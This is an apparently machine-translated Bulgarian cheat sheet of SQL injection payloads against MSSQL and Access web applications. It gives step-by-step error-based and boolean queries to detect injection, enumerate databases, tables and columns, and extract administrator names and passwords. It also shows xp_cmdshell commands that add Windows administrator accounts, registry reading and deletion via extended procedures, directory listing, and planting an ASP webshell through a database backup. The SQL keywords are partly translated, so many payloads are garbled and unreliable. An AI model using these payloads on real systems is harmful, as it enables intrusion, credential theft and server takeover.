1. Да се определи дали има инжекция ; и 1=1 ; и 1=2
2. Предварително решение дали е mssql ; и потребител>0
3. Оценете системата с бази данни ; и (select count(*) от sysobjects)>0 mssql ; и (select count(*) от msysobjects)>0 достъп
4. Параметърът за инжекция е символ 'и [критерии за заявка] и ''='
5. Няма филтрирани параметри по време на търсенето 'и [критерии за заявка] и '%25'='
6. Познай името на масата ; и (изберете Count(*) от [име на таблица])>0
7. Познай полето ; и (изберете Count(име на полето) от името на таблицата)>0
8. Познайте дължината на рекорда в полето ; и (изберете топ 1 len (име на полето) от името на таблицата)>0
9. (1) Познайте ASCII стойността на полето (достъп) ; и (избери топ 1 ASC (среден (име на полето, 1,1)) от името на таблицата)>0
(2) Познайте ASCII стойността на полето (mssql) ; и (изберете топ 1 Unicode(substring(име на полето, 1,1)) от името на таблицата)>0
10. Структура за тестови разрешения (mssql) ; и 1=(select IS_SRVROLEMEMBER('sysadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('serveradmin')); -- ; и 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('securityadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('diskadmin')); -- ; и 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; и 1=(select IS_MEMBER('db_owner')); --
11. Добавете акаунт за mssql и системата ; изпълнителен master.dbo.sp_addlogin потребителско име; -- ; exec master.dbo.sp_password null, потребителско име, парола; -- ; изпълнителен master.dbo.sp_addsrvrolemember sysadmin потребителско име; -- ; изпълнител master.dbo.xp_cmdshell 'Net User Username password /Workstations:* /Times:All /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; Изпълнителен master.dbo.xp_cmdshell 'Net User Name Password /add'; -- ; изпълнителен master.dbo.xp_cmdshell 'потребителско име /add' на администраторите на локалните групи; --
12. (1) Разгледайте каталога ; Create Table Dirs(Paths varchar(100), ID int) ; Вмъкнете директори exec master.dbo.xp_dirtree 'c:\' ; и (изберете топ 1 пътя от директорите)>0 ; и (изберете топ 1 пътя от директорите, където пътищата не са в ('пътища, получени от предишната стъпка'))>)
(2) Разгледайте каталога ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вмъкнете временен изпълнителен master.dbo.xp_availablemedia; -- Вземи всички текущи дискове ; Вмъкнете в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Вземи списък с поддиректории ; вмъкнете в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Вземи структурата на дървото на директорията за всички поддиректории ; Вмъкнете в temp(id) exec master.dbo.xp_cmdshell 'тип C:\web\index.asp'; -- Вижте съдържанието на файла
13. Съхранени процедури в mssql xp_regenumvalues Коренов ключ на регистъра, дъщерен ключ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' връща всички ключови стойности в няколко набора от записи xp_regread Коренов ключ, дъщерен ключ, име на стойността на ключа ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' връща стойността на зададения ключ xp_regwrite Коренов ключ, детски ключ, име на стойност, тип стойност, стойност Съществуват два типа стойности REG_SZ REG_DWORD за типове знаци и за цели числа ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' към регистъра xp_regdeletevalue Коренов ключ, подключ, име на стойността exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', за да премахне стойност xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' за премахване на ключа, включително всички стойности под този ключ
14. MSSQL архивиране създава уебшел. Модел на използване създаване на таблица cmd (STR изображение); вмъкнете в cmd(str) стойности ('<% Dim oScript %>'); резервен модел на база данни към disk='c:\l.asp';
15. MSSQL вградени функции ; и (изберете @@version)>0, за да получите номера на версията на Windows ; и user_name()='dbo', за да се определи дали свързаният потребител на текущата система е SA ; и (изберете user_name())>0 Експлодираха свързаните потребители на текущата система ; и (изберете db_name())>0, за да получите текущо свързаната база данни
MSSQL нарушение на ръчно анотирана база данни
1. Разкрийте текущото име на таблицата и името на колоната Изпратете "'having 1=1--" след точката на инжектиране, за да получите обратното съобщение на английски, в което можете да видите име на таблица и име на колона. Изпратете "група по името на списъка с 1=1--", за да получите друго име на колона; Продължете да подавате "група по списък с откритата таблица, името на изложената таблица". Името на втората колона има 1=1--", което ви дава друго име на колона. Потвърдете по същия начин, докато страницата вече не връща съобщения за грешка, за да получите всички имена на колони. Любопитни факти: Violent Table Names и колони се използват в комбинация с GROUP BY в SQL оператори за условни преценки. Тъй като операторът е непълен, базата данни връща съобщение за грешка и показва име на таблица и име на колона. Основният метод може да изложи само текущата таблица в базата данни, а ако таблицата съдържа много имена на колони, е много трудно да се използва основният метод.
Първо. Всички имена на бази данни са изложени Използвайте израза "and 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=[N])" за да разкриете произволни имена на таблици и колони в базата данни, където "[N]" представлява N-тата таблица в базата данни. Стъпка 1: След инжектиране на точката, изпратете следното твърдение: "and 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=12)", защото стойността на dbid е от 1 до 5, която се използва от системата, така че потребителят трябва да го е изградил от 6 и ние сме въвели името>1, полето с име е поле с тип символ и сравнението на числата ще бъде грешно, затова след подаване IE ще върне следната информация: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] преобразува nvarchar стойността 'Northwind' в тип данни int колона. По този начин стойността на полето с име се разкрива, тоест получаваме име на база данни "Northwind". Промяната на стойността на "dbid" може да получи всички имена на базата данни.
и 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=[N])-- Модифицирай N, за да експлодира всички имена на бази данни от 6
Второ. Експонирайте всички имена на таблици в посочената база данни След като получите името на базата данни, сега трябва да съберете всички имена на таблици в библиотеката, да въведете следното изявление: "and 0<>(изберете име на топ 1 от master.dbo.sysobjects, където xtype='U')", ето името на таблицата в основната база данни, а SQL операторът на заявката връща стойността на името и след това го сравни с числото 0, така че стойността на името ще бъде разкрита. След подаването, името на масата беше "'spt_monito" беше разкрито. След това се разкриват останалите таблици и се подава следното твърдение: "and 0<>(изберете топ 1 име от master.dbo.sysobjects, където xtype='U' и име не е в ('spt_monito')))", и се разкрива друга таблица с име "cd512". Файл "и името не е в(' spt_monito',' CD512',..))" Можете да намерите всички имена на маси.
и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U')-- и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U' и име не е в ('[Exploed table name]'))-- и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U' и име не е в ('[Име на експлозивна таблица]', '[Експлодирано име на втора таблица]')))--
4. Изложете всички имена на колони в посочената таблица и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype='U' и name='admin' и uid>(str(id))) Конвертирайте ID стойността в тип знак и след това я сравнете с цяло число. Идентификационният номер е излязъл. Стойността е: 949578421 name='име на таблица'
и 0<>(изберете име на топ 1 от wutong.dbo.syscolumns, където id=949578421)-- Име на поле в администраторската таблица се разкрива
Повторно подадете и 0<>(изберете топ 1 име от wutong.dbo.syscolumns, където id=949578421 и име не е в('adduser')))-- Файл "и името не е в(' spt_monito',' CD512',..))" Можете да намерите всички имена на полета в административната таблица.
и 0<>(select count(*) от [посочи име на база данни].dbo.sysobjects, където xtype='U' и name='[Име на полето, което трябва да се експлодира]' и uid>(str(id)))--ID стойността на името на таблицата на полето, което трябва да бъде експлодирано
и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.syscolumns, където id=експлодирана id стойност)-- Името на поле в таблицата с експлодиращи id стойности
и 0<>(изберете име на топ 1 от [посочи име на база данни].dbo.syscolumns, където id=Експлозивна id стойност и име не е в('[Exploed field name]')))--
5. Прочетете данните в посочената таблица
и 0<(изберете A_ID от wutong.dbo.admin, където A_UserID>1) – съдържанието, което прекъсна A_PWD
и 0<(изберете [поле, което съществува] от [посочи име на база данни].dbo.[име на таблица за заявка] където [име на поле за експлозия съдържание]>1)--
и 0<(изберете A_ID от wutong.dbo.admin, където A_PWD>1 и A_UserID='admin')-- Паролата на администратора е разкрита
и 0<(Изберете Top 1 A_UserID FROM admin, където A_ID<>1)-- Администраторското име id<>1 (fuhao)
и 0<(Изберете Топ 1 A_UserID ОТ admin, където A_ID <>1 и A_UserID <> 'fuhao') – името на втория администратор не <> равно на (tuiguang)
и 0<(Изберете Топ 1 A_UserID ОТ админ, където A_ID <>1 и A_UserID <> 'fuhao' и A_UserID <> 'tuiguang')--
След като знаете името на таблицата и колоната на базата данни, можете да използвате "заявка" за четене на всяка информация в базата. Например, ако искате да прочетете N-тите данни в колона в таблица, можете да подадете изявлението: "и (Изберете име на колона ОТ името на таблицата в горната 1 колона, където id=[N])>1" ([N] представлява N-тия данни в колоната), и можете да знаете желаните данни от информацията, върната от IE.
|